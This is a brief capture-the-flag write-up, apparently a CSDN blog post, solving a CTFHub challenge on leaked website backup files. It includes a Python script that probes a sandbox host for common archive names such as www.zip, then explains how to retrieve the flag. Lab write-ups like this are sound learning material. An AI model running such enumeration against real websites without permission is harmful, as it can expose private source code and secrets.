CTFHub skill tree backup file download - website source code

1. Click to open the topic and open the given link. Seeing this page, I roughly guessed that we should splice the file name and suffix and access it.

2. The most basic thing is to spell one by one (this time is www.zip), of course, it is a bit time-consuming, but you can also use the code.

import requests
import webbrowser

url = "http://challenge-60bf1666b39af9d0.sandbox.ctfhub.com:10800/"
filename = ['web', 'website', 'backup', 'back', 'www', 'wwwroot', 'temp']
suffix = ['.tar', '.tar.gz', '.zip', '.rar']

for i in filename:
    for j in suffix:
        url_new = url + i + j
        r1 = requests.get(url_new)
        print('r1.status_code', r1.status_code)
        print('url_new', url_new)
        print('\n')
        if(r1.status_code == 200):
            webbrowser.open(url_new, new=1)  # 打开新的浏览器窗口

3. Whether it is manually or by code, a compressed package file will be downloaded directly, and then decompressed to get a text file named after the flag. After opening, there is nothing.

4. In this case, there is no other way but to copy the name of the text document into the link. Enter to find the flag.

 

 

Guess you like

Origin blog.csdn.net/qq_53768302/article/details/129944835